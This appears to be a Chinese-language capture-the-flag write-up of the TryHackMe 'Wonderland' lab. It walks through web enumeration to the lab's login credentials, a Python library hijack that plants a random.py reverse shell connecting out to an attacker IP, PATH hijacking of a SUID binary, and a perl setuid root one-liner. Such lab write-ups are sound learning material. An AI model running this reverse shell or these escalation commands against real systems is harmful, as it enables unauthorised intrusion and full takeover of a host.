0%

TryHackMe-Wonderland

在线靶机链接:Wonderland

0x01 信息收集

NMAP

image-20200928123603065

  • 80 http
  • 22 ssh

HTTP

image-20200928123830954

image-20200928123905068

image-20200928123918443

image-20200928123938806

这个就有意思了 Keep Going?

image-20200928123953722

发现多了个a目录。
image-20200928124050105

a目录下的index.html还是keep going。

image-20200928124224681

image-20200928124248370

en …这应该是一个单词,rabbit。

image-20200928124332576

image-20200928124345014

1
2
Username:alice
Password:HowDothTheLittleCrocodileImproveHisShiningTail

0x02 漏洞利用&提权

alice

登陆上alice用户后。发现目录下就有一个root.txt,但是没权限,有一个python脚本。使用sudo -l发现可以使用rabbit用户执行这个python脚本。

image-20200928142036624

image-20200928142155223

代码的文本内容有点多,反正就差不多是这样

1
2
3
4
5
import random
poem="""一个故事"""
for i in range(10):
line = random.choice(poem.split("\n"))
print("The line was:\t", line)

这就简单啦,导入了random模块,我们在当前目录下重新写个random.py。它就会优先导入当前目录下的random.py。

1
2
3
4
5
6
7
8
9
import os,socket,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('ip',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

创建好反弹shell的脚本后,执行。

1
sudo -u rabbit python3.6 ~/walrus_and_the_carpenter.py

image-20200928142810015

rabbit

在rabbit的家目录下发现有一个suid的程序。

image-20200928142951177

但是这里没有gdb,也没有strings什么的。所以把它传回kali后看看。

image-20200928150131678

啊,这样的话。可以直接环境变量劫持,因为echo是绝对路径,所以选择date程序。

image-20200928143350516

嗯。。看起来是越权到了hatter。

hatter

进到该用户的家目录后,发现有一个明文的密码。是hatter用户的密码。

image-20200928143652157

但是,该用户并不是sudo用户。。嗯。。尴尬了。手工进行了一些简单的信息收集后,发现并没有多大收获,还是上脚本好了。

image-20200928145132461

这里发现perl有设置这个CAP_SETUID,允许改变进程的uid。关于Capabilities可以看这里

image-20200928145417612

GTFObins给出了利用方法。

image-20200928145511044

。。不是hatter组用户,所以要ssh登陆上去。

1
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

image-20200928145646599

user.txt在root目录下,root在alice目录下。。这。。